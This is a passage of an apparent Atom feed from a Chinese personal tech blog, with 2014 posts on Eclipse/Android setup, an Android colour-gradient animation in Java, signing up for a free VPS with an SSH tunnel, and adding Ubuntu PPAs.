&lt;p&gt;经常使用&lt;code&gt;rdesktop -x hex 111.111.11.1 -a 24 -f&lt;/code&gt; 使用ctrl+enter可以缩小&lt;/p&gt;</content><category term="Linux"></category></entry><entry><title>Eclipse for Android 配置过程</title><link href="https://blog.chenjia.me/articles/141201-002000.html" rel="alternate"></link><published>2014-12-01T00:20:00+08:00</published><updated>2014-12-01T00:20:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-12-01:/articles/141201-002000.html</id><summary type="html">&lt;p&gt;Android5.0的代码都出来好久了，官网的ADT还是旧的，对于我这样新版本就要换新eclipse的人觉得好痛苦的等待。那就自己动手吧 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Android5.0的代码都出来好久了，官网的ADT还是旧的，对于我这样新版本就要换新eclipse的人觉得好痛苦的等待。那就自己动手吧~&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从Eclipse官网下载最新的Eclipse.&lt;a href="http://www.eclipse.org/"&gt;http://www.eclipse.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;解压，打开Eclipse，选择help-install new software，然后输入网址：&lt;a href="http://dl-ssl.google.com/android/eclipse/"&gt;http://dl-ssl.google.com/android/eclipse/&lt;/a&gt;。建议添加host为：&lt;code&gt;203.208.46.146 dl-ssl.google.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装所有东西。等待他安装好&lt;/li&gt;
&lt;li&gt;关闭eclipse，下载SDK插件，在官网。&lt;a href="http://developer.android.com/sdk/index.html"&gt;http://developer.android.com/sdk/index.html&lt;/a&gt;。建议下载exe的~或者直接下载ADT，然后解压出里面的SDK。&lt;/li&gt;
&lt;li&gt;打开我们的SDK，在SDK目录下的&lt;code&gt;SDK Manager.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;等待加载完成，勾选&lt;code&gt;Tool&lt;/code&gt;，以及你需要的Android的版本的东西，建议每个版本至少选择&lt;code&gt;SDK Platform&lt;/code&gt; ,建议选择Documentation以及arm和x86的img以及google api.如果没看到5.0请先更新tool，然后重启这个工具就可以看到了。&lt;/li&gt;
&lt;li&gt;现在我们打开eclipse，在windows-preference-android里面配置上刚才的SDK的路径，然后他会自动匹配&lt;/li&gt;
&lt;li&gt;然后就完成了~我们可以在主界面添加一些我们常用的插件，视图等&lt;/li&gt;
&lt;/ol&gt;</content><category term="Android"></category><category term="November"></category></entry><entry><title>为安全研究专门开了一个新Blog</title><link href="https://blog.chenjia.me/articles/141127-210600.html" rel="alternate"></link><published>2014-11-27T21:06:00+08:00</published><updated>2014-11-27T21:06:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-27:/articles/141127-210600.html</id><summary type="html">&lt;p&gt;回顾这几个月来做的事情，准备吧某些东西给写出来，因为研究这种东西过程往往比结果来的漫长，来的枯燥。&lt;/p&gt;
&lt;p&gt;刚好之前汪海推荐过一个叫Typecho的博客系统 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;回顾这几个月来做的事情，准备吧某些东西给写出来，因为研究这种东西过程往往比结果来的漫长，来的枯燥。&lt;/p&gt;
&lt;p&gt;刚好之前汪海推荐过一个叫Typecho的博客系统，就在SAE上搭建了一个~&lt;/p&gt;
&lt;p&gt;感谢@JEM 的前端支持~&lt;/p&gt;
&lt;p&gt;欢迎大家访问陈佳的安全实验室&lt;a href="http://safelab.chenjia.me" title="Chenjia's SafeLab"&gt;http://safelab.chenjia.me&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;</content><category term="November"></category><category term="Security"></category></entry><entry><title>Andorid 颜色渐变的实现</title><link href="https://blog.chenjia.me/articles/141124-145800.html" rel="alternate"></link><published>2014-11-24T14:58:00+08:00</published><updated>2014-11-24T14:58:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-24:/articles/141124-145800.html</id><summary type="html">&lt;h1&gt;颜色渐变&lt;/h1&gt;
&lt;p&gt;今天看到一个软件清理~动态效果很不错，从黄色到绿色表示的是电脑垃圾减少的过程~&lt;/p&gt;
&lt;p&gt;然后就想实现一个 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;颜色渐变&lt;/h1&gt;
&lt;p&gt;今天看到一个软件清理~动态效果很不错，从黄色到绿色表示的是电脑垃圾减少的过程~&lt;/p&gt;
&lt;p&gt;然后就想实现一个~&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;颜色渐变是有算法的，最开始想从16进制的000000加到ffffff发现是不对的。&lt;/p&gt;
&lt;p&gt;//这是无意义的一行，防止subString出错========&lt;/p&gt;
&lt;p&gt;简单得渐变应该是将色值拆开，成为这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;int Red from 00 to (255)ff
int Blue from 00 to (255)ff
int Green from 00 to (255)ff
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;因此我们可以得到一个简单算法。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;起始颜色比如#000000拆分为00 00 00，终点颜色为#FFFFFF拆开为FF FF FF&lt;/li&gt;
&lt;li&gt;确定渐变的步数，为x&lt;/li&gt;
&lt;li&gt;起始值减去终点值除以步数x就是每步我们要改变的数值&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Android核心代码&lt;/h1&gt;
&lt;p&gt;开线程，修改bg的颜色色值&lt;/p&gt;
&lt;p&gt;主要涉及：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;android的颜色转换&lt;code&gt;new Color().parseColor(color_str)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;android的多线程&lt;/li&gt;
&lt;li&gt;Java 10进制到16进制转换&lt;code&gt;Integer.toHexString()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;进制转换的溢出和补0的操作&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;return2&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;00&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;实现的核心代码&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;    &lt;span class="n"&gt;ImageView&lt;/span&gt; &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Handler&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;TextView&lt;/span&gt; &lt;span class="n"&gt;textView&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16777215&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;initgreen&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// TODO Auto-generated method stub&lt;/span&gt;
        &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="n"&gt;ImageView&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;findViewById&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;imageView1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setOnClickListener&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setBackgroundColor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;BLACK&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;textView&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="n"&gt;TextView&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;findViewById&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;textView1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Handler&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Runnable&lt;/span&gt; &lt;span class="n"&gt;runnable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Runnable&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;  
        &lt;span class="nd"&gt;@Override&lt;/span&gt;  
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;  
            &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;color_str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;color_str&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;return2&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toHexString&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;))+&lt;/span&gt;&lt;span class="n"&gt;return2&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toHexString&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;))+&lt;/span&gt;&lt;span class="n"&gt;return2&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toHexString&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
             &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;color&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;color_str&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setBackgroundColor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;parseColor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color_str&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;textView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color_str&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;postDelayed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="o"&gt;}&lt;/span&gt;  
    &lt;span class="o"&gt;};&lt;/span&gt;

    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;return2&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;00&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// TODO Auto-generated method stub&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="o"&gt;()==&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;imageView1&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;postDelayed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;runnable&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;</content><category term="Android"></category><category term="November"></category></entry><entry><title>申请VPS.me免费主机</title><link href="https://blog.chenjia.me/articles/141120-163000.html" rel="alternate"></link><published>2014-11-20T16:30:00+08:00</published><updated>2014-11-20T16:30:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-20:/articles/141120-163000.html</id><summary type="html">&lt;h1&gt;VPS主机是什么&lt;/h1&gt;
&lt;p&gt;VPS其实就是比主机更高级的一个网络服务，他直接的是提供一个真正虚拟主机给你，和你自己的的电脑是一样的。你可以通过VNC或者SSH进行连接 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;VPS主机是什么&lt;/h1&gt;
&lt;p&gt;VPS其实就是比主机更高级的一个网络服务，他直接的是提供一个真正虚拟主机给你，和你自己的的电脑是一样的。你可以通过VNC或者SSH进行连接，比如这样。
&lt;img alt="vps shh" src="https://i.imgur.com/JL65ywp.png"&gt;&lt;/p&gt;
&lt;p&gt;那我们可以做什么？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;架设自己的网站&lt;/li&gt;
&lt;li&gt;定时运行某些脚本&lt;/li&gt;
&lt;li&gt;科学上网&lt;/li&gt;
&lt;li&gt;ftp，samba等文件服务器&lt;/li&gt;
&lt;li&gt;离线下载&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;如何申请&lt;/h1&gt;
&lt;p&gt;在浪费了好几个邮箱以后，找到了正确的方法。。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;申请一个163的邮箱&lt;/li&gt;
&lt;li&gt;到&lt;a href="http://www.textnow.com/"&gt;textnow.com&lt;/a&gt;注册一个账号&lt;/li&gt;
&lt;li&gt;注册成功会让你填写一个区号，记得填写&lt;strong&gt;&lt;code&gt;205&lt;/code&gt;&lt;/strong&gt;，很重要&lt;/li&gt;
&lt;li&gt;点击Account,里面你的电话号码，记下来，一般是+1（205）xxxxx&lt;/li&gt;
&lt;li&gt;打开&lt;a href="http://vps.me"&gt;http://vps.me&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在页面主机中向左边拖动，选择free&lt;/li&gt;
&lt;li&gt;输入hostname 和 系统，推荐ubuntu&lt;/li&gt;
&lt;li&gt;下一步下一步，然后他会让你注册账号&lt;/li&gt;
&lt;li&gt;注册账号的时候国家一定要选US，也就是美国&lt;/li&gt;
&lt;li&gt;电话号码填写你获得到的电话号码。&lt;/li&gt;
&lt;li&gt;然后成功登陆，这时候order状态是pending setup。我们需要验证手机号，这时候点击验证就好，然后我们去textnow就会看到一条短信，把验证码复制过来就成功了&lt;/li&gt;
&lt;li&gt;等待主机生成成功，然后我们就可以通过ssh进行连接。&lt;/li&gt;
&lt;li&gt;点击server，然后有ssh，就有ssh连接的教程~&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h1&gt;开启ssh的tunnel&lt;/h1&gt;
&lt;p&gt;ssh的tunnel可以实现简单的sock5代理，安全加密无伤害。&lt;/p&gt;
&lt;p&gt;&lt;img alt="tunnel" src="https://i.imgur.com/1dvZK30.png"&gt;&lt;/p&gt;
&lt;p&gt;在连接SSH之前，配置好tunnel的端口即可。然后本机就可用&lt;code&gt;localhost:端口号&lt;/code&gt;上网啦 &lt;/p&gt;</content><category term="November"></category><category term="Security"></category><category term="Linux"></category></entry><entry><title>Ubuntu 添加第三方源(PPA)</title><link href="https://blog.chenjia.me/articles/141108-143000.html" rel="alternate"></link><published>2014-11-08T14:30:00+08:00</published><updated>2014-11-08T14:30:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-08:/articles/141108-143000.html</id><summary type="html">&lt;h1&gt;Ubuntu添加PPA源并安装软件&lt;/h1&gt;
&lt;p&gt;大家都知道&lt;code&gt;apt-get&lt;/code&gt;可以很方便的获得很多程序，可是有的程序因为某些原因无法直接在官方的源里面下载 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Ubuntu添加PPA源并安装软件&lt;/h1&gt;
&lt;p&gt;大家都知道&lt;code&gt;apt-get&lt;/code&gt;可以很方便的获得很多程序，可是有的程序因为某些原因无法直接在官方的源里面下载，比如oracle 的java&lt;/p&gt;
&lt;p&gt;我们可以通过&lt;a href="http://LunchPad.net" title="LunchPad"&gt;http://LunchPad.net&lt;/a&gt; 来添加一些软件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sudo add-apt-repository ppa:user/ppa-name&lt;/li&gt;
&lt;li&gt;sudo apt-get update&lt;/li&gt;
&lt;li&gt;sudo apt-get install oracle-java6-install&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样我们就可以直接装好java6，也省去了我们配置java 环境变量的时间了。&lt;/p&gt;</content><category term="November"></category><category term="Linux"></category></entry><entry><title>Repo的使用</title><link href="https://blog.chenjia.me/articles/141108-130200.html" rel="alternate"></link><published>2014-11-08T13:02:00+08:00</published><updated>2014-11-08T13:02:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-08:/articles/141108-130200.html</id><summary type="html">&lt;h1&gt;repo 简介&lt;/h1&gt;
&lt;p&gt;Repo是google用Python脚本写的调用git的一个脚本，主要是用来下载、管理Android项目的软件仓库 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;repo 简介&lt;/h1&gt;
&lt;p&gt;Repo是google用Python脚本写的调用git的一个脚本，主要是用来下载、管理Android项目的软件仓库；&lt;/p&gt;
&lt;p&gt;从高通或google下载代码是通过repo下载的，是由repo管理的266个git组成的&lt;/p&gt;
